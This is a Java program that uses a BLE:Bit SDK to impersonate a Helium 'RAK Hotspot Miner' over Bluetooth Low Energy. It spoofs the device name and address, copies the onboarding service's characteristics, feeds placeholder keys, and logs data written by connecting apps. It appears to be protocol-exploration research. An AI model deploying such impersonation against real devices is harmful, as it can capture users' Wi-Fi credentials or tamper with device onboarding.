import cybervelia.sdk.controller.pe.callbacks.PEWriteEventCallback;
import cybervelia.sdk.types.BLEAttributePermission;
import cybervelia.sdk.types.ConnectionTypesCommon;
import cybervelia.sdk.types.ConnectionTypesCommon.AddressType;
import cybervelia.sdk.types.ConnectionTypesPE;
public class HeliumExplore {
static boolean debugging = true;
static PEBLEDeviceCallbackHandler mypecallbackHandler = null;
static PEController pe;
static HashMap<String, String> mapUuidDescription = new HashMap<>();
public static void main(String ...args) {
connectToDevice();
handleDevice();
}
private static String startComm(String device)
{
SerialPort[] sp = SerialPort.getCommPorts();
String com_port = null;
for(SerialPort s : sp)
{
System.out.println(s.getDescriptivePortName());
if (s.getDescriptivePortName().indexOf(device) >= 0)
{
com_port = s.getSystemPortName();
}
}
System.out.println("PE Opening: " + com_port);
if (com_port == null)
{
System.err.println("COM Port does not exist");
System.exit(1);
}
return com_port;
}
/* Identify BLE:Bit devices */
private static String[] findPorts() {
ArrayList<String> portsFound = new ArrayList<String>();
SerialPort[] sp = SerialPort.getCommPorts();
for(SerialPort s : sp)
{
if (!debugging && (s.getDescriptivePortName().toLowerCase().contains("cp210x") && System.getProperty("os.name").startsWith("Windows")))
portsFound.add(s.getSystemPortName());
else if (!debugging && (s.getDescriptivePortName().toLowerCase().contains("cp210x") && System.getProperty("os.name").startsWith("Linux")))
portsFound.add(s.getSystemPortName());
else if (debugging && System.getProperty("os.name").startsWith("Windows") && (s.getDescriptivePortName().contains("Prolific") || s.getDescriptivePortName().contains("USB Serial Port")))
portsFound.add(s.getSystemPortName());
else if (debugging && System.getProperty("os.name").startsWith("Linux") && (s.getDescriptivePortName().contains("pl2303") || s.getDescriptivePortName().contains("ftdi_sio")))
portsFound.add(s.getSystemPortName());
}
String[] ports = new String[portsFound.size()];
for(int i = 0; i<portsFound.size(); ++i)
{
ports[i] = portsFound.get(i);
System.out.println("ADDED: " + ports[i]);
}
return ports;
}
public static void connectToDevice() {
// Print Available Communication channels
SerialPort[] sp = SerialPort.getCommPorts();
for(SerialPort s : sp)
System.out.println(s.getSystemPortName() + " - " + s.getDescriptivePortName());
System.out.println(" --------------- ");
// Find and print available serial ports
String[] fports = findPorts();
System.err.println("Devices Found: " + fports.length);
// Initialise CE & PC
try {
mypecallbackHandler = new PEBLEDeviceCallbackHandler();
pe = new PEController(fports[0], mypecallbackHandler);
if (!pe.isInitializedCorrectly())
{
System.err.println("Not a BLEBit PE");
System.exit(1);
}
}catch(IOException ioex) {
System.err.println("Failed to initialize pe and ce: " + ioex.getMessage());
System.exit(1);
}
System.out.println("SDK Version: " + ConnectionTypesCommon.getSDKVersion());
System.out.println("PE FW Version: " + pe.getFirmwareVersion());
}
private static void handleDevice()
{
try {
mypecallbackHandler.installConnectionCallback(new PEConnectionCallback() {
@Override
public void disconnected(int reason) {
System.out.println("Disconnected");
}
@Override
public void connected(AddressType address_type, String address) {
System.out.println("Connected");
}
});
mypecallbackHandler.installWriteCallback(new PEWriteEventCallback() {
@Override
public void writeEvent(BLECharacteristic characteristic, byte[] data, int data_size, boolean is_cmd,
short handle) {
if (characteristic != null)
{
System.out.print("Write["+mapUuidDescription.get(characteristic.getUUID().toString())+"]: ");
for(int i=0;i<data_size;++i)
System.out.print(String.format("%02x", data[i]));
System.out.println();
}else
System.out.println("Characteristic object not found");
}
});
mypecallbackHandler.installReadCallback(new PEReadCallback() {
@Override
public boolean authorizeRead(BLECharacteristic characteristic, byte[] data, int data_len,
AuthorizedData authorized_Data) {
if (characteristic != null)
{
// Wifi SSID
if (characteristic.getUUID().toString().equals("7731de63-bc6a-4100-8ab1-89b2356b038b"))
{
System.out.println("Setting SSID...");
try {
String ssid = "MyAPsSSID";
byte encoded[] = Base64.getEncoder().encode(ssid.getBytes());
authorized_Data.setAuthorizedData(encoded, encoded.length);
}catch(IOException ioex) {
System.err.println(ioex.getMessage());
}
}
// Public Key
if (characteristic.getUUID().toString().equals("0a852c59-50d3-4492-bfd3-22fe58a24f01"))
{
System.out.println("Setting PubKey...");
try {
String value = "What2";
byte[] encoded = Base64.getEncoder().encode(value.getBytes());
authorized_Data.setAuthorizedData(encoded, encoded.length);
}catch(IOException ioex) {
System.err.println(ioex.getMessage());
}
}
// OnBoarding Key
if (characteristic.getUUID().toString().equals("d083b2bd-be16-4600-b397-61512ca2f5ad"))
{
System.out.println("Setting OnBoarding Key...");
try {
String value = "d75150337e7b45be";
byte encoded[] = Base64.getEncoder().encode(value.getBytes());
authorized_Data.setAuthorizedData(encoded, encoded.length);
}catch(IOException ioex) {
System.err.println(ioex.getMessage());
}
}
// Avail SSIDs
if (characteristic.getUUID().toString().equals("d7515033-7e7b-45be-803f-c8737b171a29"))
{
System.out.println("Setting Avail SSIDs...");
try {
WifiServices.wifi_services_v1.Builder builder = WifiServices.wifi_services_v1.newBuilder();
List<String> ssids = new ArrayList<>();
ssids.add("MyAPsSSID:)-Put yours here");
builder.addAllServices(ssids);
byte[] encoded = Base64.getEncoder().encode(builder.build().toByteArray());
authorized_Data.setAuthorizedData(encoded, encoded.length);
}catch(IOException ioex) {
System.err.println(ioex.getMessage());
}
}
// Print data
System.out.print("Read["+mapUuidDescription.get(characteristic.getUUID().toString())+"]: ");
if (authorized_Data.getAuthorizedDataLength() == 0)
{
for(int i=0;i<data_len;++i)
System.out.print(String.format("%02x", data[i]));
System.out.println();
}
else
{
for(int i=0;i<authorized_Data.getAuthorizedDataLength();++i)
System.out.print(String.format("%02x", authorized_Data.getAuthorizedData()[i]));
System.out.println();
}
}else
System.out.println("Characteristic object not found");
// Send data
return true;
}
@Override
public void readEvent(BLECharacteristic characteristic, byte[] data, int data_len) {
// ignored
}
});
mypecallbackHandler.installNotificationDataCallback(new PENotificationDataCallback() {
@Override
public void notification_event(BLECharacteristic char_used, NotificationValidation validation) {
if (validation == NotificationValidation.NOTIFICATION_ENABLED || validation == NotificationValidation.INDICATION_ENABLED)
System.out.println(mapUuidDescription.get(char_used.getUUID().toString()) + " NOTIFY enabled");
}
});
pe.sendConnectionParameters(new PEConnectionParameters());
pe.sendDeviceName("RAK Hotspot Miner");
pe.configurePairing(ConnectionTypesCommon.PairingMethods.NO_IO, null);
pe.sendBluetoothDeviceAddress("ea:bc:cc:11:33:13", ConnectionTypesCommon.BITAddressType.STATIC_PRIVATE);
pe.disableAdvertisingChannels(ConnectionTypesPE.ADV_CH_38 | ConnectionTypesPE.ADV_CH_39);
pe.sendAdvIntervalTU(100);
pe.setFirmwareRevision("10");
System.out.println("FW VER: " + pe.getFirmwareVersion());
// Add BLE Services
BLEService main_uuid = new BLEService(UUID.fromString("0fda92b2-44a2-4af2-84f5-fa682baa2b8d").toString());
// Create Advertisement Data
AdvertisementData adv_data = new AdvertisementData();
adv_data.setFlags(AdvertisementData.FLAG_LE_GENERAL_DISCOVERABLE_MODE | AdvertisementData.FLAG_ER_BDR_NOT_SUPPORTED);
adv_data.addServiceUUIDComplete(main_uuid);
AdvertisementData scan_data = new AdvertisementData();
scan_data.includeDeviceName();
// Add BLE Characteristic
addBLEChar("7731de63-bc6a-4100-8ab1-89b2356b038b", main_uuid, "WiFi_SSID");
addBLEChar("0a852c59-50d3-4492-bfd3-22fe58a24f01", main_uuid, "PUBKey");
addBLEChar("d083b2bd-be16-4600-b397-61512ca2f5ad", main_uuid, "OnBoarding_Key");
addBLEChar("d7515033-7e7b-45be-803f-c8737b171a29", main_uuid, "Avail_SSIDs");
addBLEChar("e125bda4-6fb8-11ea-bc55-0242ac130003", main_uuid, "WiFi_Configured");
addBLEChar("8cc6e0b3-98c5-40cc-b1d8-692940e6994b", main_uuid, "WiFi_Remove");
addBLEChar("398168aa-0111-4ec0-b1fa-171671270608", main_uuid, "WiFi_Connect");
addBLEChar("df3b16ca-c985-4da2-a6d2-9b9b9abdb858", main_uuid, "Add_Gateway");
addBLEChar("d435f5de-01a4-4e7d-84ba-dfd347f60275", main_uuid, "Assert_LOC");
addBLEChar("b833d34f-d871-422c-bf9e-8e6ec117d57e", main_uuid, "Diagnostics");
addBLEChar("e5866bd6-0288-4476-98ca-ef7da6b4d289", main_uuid, "Ethernet_Online");
// Send settings
pe.sendBLEService(main_uuid);
pe.sendAdvertisementData(adv_data);
pe.sendScanData(scan_data);
pe.eraseBonds();
pe.finishSetup();
System.out.println("Ready for reset - PRESS ENTER");
Scanner scanner = new Scanner(System.in);
scanner.nextLine();
pe.terminate();
}catch(IOException e) {
System.err.println(e.getMessage());
}
}
public static void addBLEChar(String uuid, BLEService service, String description) throws IOException {
byte[] value = new byte[10];
for(int i = 0; i<10; ++i) value[i] = 0;
String uuid_char = UUID.fromString(uuid).toString();
BLECharacteristic bCharacteristic = new BLECharacteristic(uuid_char, value);
bCharacteristic.enableRead();
bCharacteristic.enableWriteCMD();
bCharacteristic.enableWrite();
bCharacteristic.setMaxValueLength(31);
bCharacteristic.setValueLengthVariable(true);
bCharacteristic.enableNotification();
bCharacteristic.enableHookOnRead();
bCharacteristic.setAttributePermissions(BLEAttributePermission.OPEN, BLEAttributePermission.OPEN);
service.addCharacteristic(bCharacteristic);
mapUuidDescription.put(uuid, description);
}
}
Categories